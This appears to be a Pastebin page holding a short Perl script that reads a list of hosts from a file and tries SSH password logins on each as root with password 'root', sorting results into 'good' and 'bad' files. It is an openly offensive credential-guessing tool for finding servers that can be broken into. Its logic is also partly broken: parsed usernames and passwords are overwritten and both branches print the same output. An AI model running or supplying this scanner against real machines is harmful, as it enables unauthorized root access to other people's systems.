Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- use Fcntl ':mode';
- use Net::SSH2;
- ###### Config options ######
- $input_file = 'ssh.txt';
- $bad_file = 'bad.txt';
- $good_file = 'good.txt';
- ############################
- $res = getfilestat ($input_file);
- die $input_file . ": error: " . $! . "\n" if ($res < 0);
- open (INPUT, "<$input_file") || die "$input_file: error: " . $! . "\n";
- open (BAD, ">$bad_file") || die "$bad_file: error: " . $! . "\n";
- open (GOOD, ">$good_file") || die "$good_file: error: " . $! . "\n";
- while (<INPUT>)
- {
- $_ =~ s/\n$//;
- $_ =~ s/\s*$//;
- $_ =~ s/^\s*//;
- $_ =~ s/\s+/ /g;
- ($host, $userr, $passs) = (split (/ /, $_))[0,1,2];
- $user = 'root';
- $pass = 'root';
- $ssh = Net::SSH2->new ();
- $ssh->connect ($host, 22, Timeout=>7); # || die "$host: connection refused: " . $! . "\n";
- #print "Trying $host\@$user:$pass...\n";
- $islogin = $ssh->auth_password ($user, $pass);
- if (!$islogin)
- {
- print "$host\n";
- #print BAD "$host\@$user:$pass\n";
- }
- else
- {
- print "$host\n";
- #print GOOD "$host\@$user:$pass\n";
- }
- }
- close GOOD;
- close BAD;
- close INPUT;
- print "Checking complete\n";
- exit 0;
- sub getfilestat ($)
- {
- my ($fname) = @_;
- my ($mode);
- $mode = (stat ($fname))[2];
- (($mode & S_IFREG) == S_IFREG) ? return 0 : return -1;
- }
Add Comment
Please, Sign In to add comment